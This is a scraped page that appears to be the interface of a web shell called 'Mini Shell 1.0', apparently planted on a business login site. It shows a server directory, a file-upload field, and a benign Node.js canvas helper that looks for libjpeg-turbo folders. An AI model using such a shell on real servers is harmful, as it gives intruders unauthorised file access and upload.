HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/node-app/node_modules/canvas/util/
Upload File :
Current File : //var/www/node-app/node_modules/canvas/util/win_jpeg_lookup.js
const fs = require('fs')
const paths = ['C:/libjpeg-turbo']

if (process.arch === 'x64') {
  paths.unshift('C:/libjpeg-turbo64')
}

paths.forEach(function (path) {
  if (exists(path)) {
    process.stdout.write(path)
    process.exit()
  }
})

function exists (path) {
  try {
    return fs.lstatSync(path).isDirectory()
  } catch (e) {
    return false
  }
}